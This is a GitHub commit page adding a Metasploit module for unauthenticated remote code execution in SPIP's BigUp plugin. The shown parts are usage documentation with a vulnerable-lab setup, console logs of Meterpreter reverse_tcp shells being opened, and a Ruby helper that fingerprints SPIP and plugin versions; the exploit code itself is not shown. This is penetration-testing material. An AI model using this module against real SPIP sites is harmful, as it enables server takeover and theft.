Skip to content

Commit

Permalink
Add spip_bigup_unauth_rce module
Browse files Browse the repository at this point in the history
  • Loading branch information
Chocapikk committed Sep 6, 2024
1 parent 8e94a0d commit 8608e70
Show file tree
Hide file tree
Showing 3 changed files with 402 additions and 29 deletions.
129 changes: 129 additions & 0 deletions documentation/modules/exploit/multi/http/spip_bigup_unauth_rce.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,129 @@
## Vulnerable Application

This Metasploit module exploits a Remote Code Execution vulnerability in SPIP
versions up to and including 4.3.1, specifically in the BigUp plugin.
The vulnerability occurs due to improper handling of file uploads in the
`lister_fichiers_par_champs` function, which can be exploited by crafting a malicious multipart form request.
This allows an attacker to inject and execute arbitrary PHP code on the server.

### Non-Docker Setup

To replicate a vulnerable environment for testing, follow these steps:

1. Download and set up SPIP version 4.3.1.
2. Use the built-in PHP server to host the SPIP instance.

#### Commands to Set Up the Vulnerable Environment:

```bash
wget https://files.spip.net/spip/archives/spip-v4.3.1.zip
mkdir spip && mv spip-v4.3.1.zip spip
cd spip && unzip spip-v4.3.1.zip
php -S 0.0.0.0:8000
```

- **SPIP Access URL:** `http://localhost:8000`
- **SPIP Version:** 4.3.1

After starting the PHP server, SPIP will be accessible at `http://localhost:8000`.

To complete the installation:

1. Navigate to `http://localhost:8000/ecrire` to access the SPIP web installation panel.
2. Follow the on-screen instructions to complete the setup.

## Verification Steps

1. Set up a SPIP instance using the commands provided above.
2. Launch `msfconsole` in your Metasploit framework.
3. Use the module: `use exploit/multi/http/spip_bigup_unauth_rce`.
4. Set `RHOSTS` to the local IP address or hostname of the target.
5. Configure necessary options such as `TARGETURI`, `SSL`, and `RPORT`.
6. Execute the exploit using the `run` or `exploit` command.
7. If the target is vulnerable, the module will execute the specified payload.

## Options

- **FORM_PAGE**: This option allows you to specify a custom page on the target SPIP installation that contains a form.
By default, the module will automatically check the `login` and `contact` pages for forms,
but if you know of another page that contains a form, you can specify it here.
For example, if an article page contains a form, you can set this option like so:

```
set FORM_PAGE /spip.php?article1
```

This will instruct the module to look for the form data on `/spip.php?article1`.
If the specified page contains the vulnerable form, the module will proceed with the exploitation.
This option is particularly useful when the default pages (`login` and `contact`) do not contain the form or are not accessible.

## Scenarios

### Successful Exploitation Against Local SPIP 4.3.1

**Setup**:

- Local SPIP instance with version 4.3.1.
- Metasploit Framework.

**Steps**:

1. Start `msfconsole`.
2. Load the module:
```bash
use exploit/multi/http/spip_bigup_unauth_rce
```
3. Set `RHOSTS` to the local IP (e.g., 127.0.0.1).
4. Configure other necessary options (`TARGETURI`, `SSL`, etc.).
5. Launch the exploit:
```bash
exploit
```

**Expected Results**:

With `php/meterpreter/reverse_tcp`:

```bash
msf6 exploit(multi/http/spip_bigup_unauth_rce) > run http://127.0.0.1:8000

[*] Started reverse TCP handler on 192.168.1.36:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] SPIP Version detected: 4.3.1
[+] The target appears to be vulnerable. The detected SPIP version (4.3.1) is vulnerable.
[*] Preparing to send exploit payload to the target...
[*] Sending stage (39927 bytes) to 192.168.1.36
[*] Meterpreter session 1 opened (192.168.1.36:4444 -> 192.168.1.36:46322) at 2024-09-03 20:08:36 +0200

meterpreter > sysinfo
Computer : linux
OS : Linux linux 5.15.0-119-generic #129-Ubuntu SMP Fri Aug 2 19:25:20 UTC 2024 x86_64
Meterpreter : php/linux
meterpreter >
```

With `cmd/linux/http/x64/meterpreter/reverse_tcp`:

```bash
msf6 exploit(multi/http/spip_bigup_unauth_rce) > run http://127.0.0.1:8000

[*] Started reverse TCP handler on 192.168.1.36:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] SPIP Version detected: 4.3.1
[+] The target appears to be vulnerable. The detected SPIP version (4.3.1) is vulnerable.
[*] Preparing to send exploit payload to the target...
[*] Sending stage (3045380 bytes) to 192.168.1.36
[*] Meterpreter session 2 opened (192.168.1.36:4444 -> 192.168.1.36:58062) at 2024-09-03 20:09:20 +0200

meterpreter > sysinfo
Computer : 192.168.1.36
OS : LinuxMint 21.3 (Linux 5.15.0-119-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```

- The module successfully exploits the vulnerability and opens a Meterpreter session on the target.

**Note**: Ensure the SPIP instance is correctly configured and running using the manual setup for the exploit to work as expected.
123 changes: 94 additions & 29 deletions lib/msf/core/exploit/remote/http/spip.rb
Original file line number Diff line number Diff line change
@@ -1,46 +1,111 @@
# -*- coding: binary -*-

module Msf
module Exploit::Remote::HTTP::Spip
module Exploit::Remote::HTTP::Spip
include Msf::Exploit::Remote::HttpClient

include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super

def initialize(info = {})
super
register_options([
OptString.new('TARGETURI', [true, 'Path to Spip install', '/'])
])
end

register_options([
OptString.new('TARGETURI', [true, 'Path to Spip install', '/'])
])
end
# Determine Spip version
#
# @return [Rex::Version] Version as Rex::Version
def spip_version
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'spip.php')
)

# Determine Spip version
#
# @return [Rex::Version] Version as Rex::Version
def spip_version
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "spip.php")
)
return unless res

return unless res
version = nil

version = nil
potential_sources = [
res.get_html_document.at('head/meta[@name="generator"]/@content')&.text,
res.headers['Composed-By']
]

version_string = res.get_html_document.at('head/meta[@name="generator"]/@content')&.text
if version_string =~ /SPIP (.*)/
version = ::Regexp.last_match(1)
end
potential_sources.each do |text|
next unless text

if text =~ /SPIP\s(\d+(\.\d+)+)/
version = ::Regexp.last_match(1)
break
end
end

if version.nil? && res.headers['Composed-By'] =~ /SPIP (.*)/
version = ::Regexp.last_match(1)
return version ? Rex::Version.new(version) : nil
end

if version.nil?
return nil
# Determine Spip plugin version by name
#
# @param [String] plugin_name Name of the plugin to search for
# @return [Rex::Version, nil] Version of the plugin as Rex::Version, or nil if not found
def spip_plugin_version(plugin_name)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'spip.php')
)

return unless res

# Check the Composed-By header for plugin version or config.txt URL
composed_by = res.headers['Composed-By']
return unless composed_by

# Case 1: Look for config.txt URL in the header
if composed_by =~ %r{(https?://[^\s]+/local/config\.txt)}i
config_url = ::Regexp.last_match(1)
vprint_status("Found config.txt URL: #{config_url}")

# Fetch and parse the config.txt file directly
config_res = send_request_cgi(
'method' => 'GET',
'uri' => config_url
)

if config_res&.code == 200
return parse_plugin_version(config_res.body, plugin_name)
end
end

# Case 2: Check for plugin version directly in Composed-By
composed_by.split(',').each do |entry|
if entry =~ /#{plugin_name}\((\d+(\.\d+)+)\)/
return Rex::Version.new(::Regexp.last_match(1))
end
end

# Case 3: Fallback to fetching /local/config.txt directly
vprint_status('No version found in Composed-By header. Attempting to fetch /local/config.txt directly.')
config_url = normalize_uri(target_uri.path, 'local', 'config.txt')
config_res = send_request_cgi(
'method' => 'GET',
'uri' => config_url
)

return parse_plugin_version(config_res.body, plugin_name) if config_res&.code == 200

nil
end

return Rex::Version.new(version)
# Parse the plugin version from config.txt or composed-by
#
# @param [String] body The body content to parse
# @param [String] plugin_name Name of the plugin to find the version for
# @return [Rex::Version, nil] Version of the plugin as Rex::Version, or nil if not found
def parse_plugin_version(body, plugin_name)
body.each_line do |line|
if line =~ /#{plugin_name}\((\d+(\.\d+)+)\)/
return Rex::Version.new(::Regexp.last_match(1))
end
end
nil
end
end

end
end
Loading

0 comments on commit 8608e70

Please sign in to comment.